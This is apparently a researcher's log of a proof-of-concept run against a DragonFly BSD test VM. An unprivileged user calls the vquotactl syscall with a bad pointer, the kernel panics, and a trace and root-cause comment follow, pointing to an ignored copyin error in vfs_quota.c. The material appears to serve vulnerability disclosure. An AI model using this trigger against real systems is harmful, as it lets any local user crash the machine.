$ ssh dfbsd-maxx "cd poc/DF-0144 && cc -o df0144_poc df0144_poc.c && /tmp/qc /tmp"
(connection hangs / ssh dies — guest panicked)

# boot.log serial console:
panic: kmem_slab_alloc(): kernel_map ran out of space!
cpuid = 0
Trace beginning at frame 0xfffff801182ff678
kmem_slab_alloc() at kmem_slab_alloc+0x42b 0xffffffff80656bab
kmem_slab_alloc() at kmem_slab_alloc+0x42b 0xffffffff80656bab
_kmalloc() at _kmalloc+0x5be 0xffffffff8065737e
_prop_object_copyin.isra.0() at _prop_object_copyin.isra.0+0x35 0xffffffff809dfe55
sys_vquotactl() at sys_vquotactl+0x50 0xffffffff806fd750
sys_xsyscall() at sys_xsyscall+0x89 0xffffffff80bd7039
Debugger("panic")
Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db>

# Trigger: unprivileged maxx (uid 1001), syscall 530 (vquotactl) with pref=0x1,
# vfs.quota_enabled=1.  copyin(0x1,...) fails (EFAULT) but its rc is discarded
# at vfs_quota.c:345; the uninitialized `pref` reaches _prop_object_copyin
# (line 346) -> unbounded kmalloc -> kernel_map exhausted -> panic.
# vm.sh status -> down (confirmed).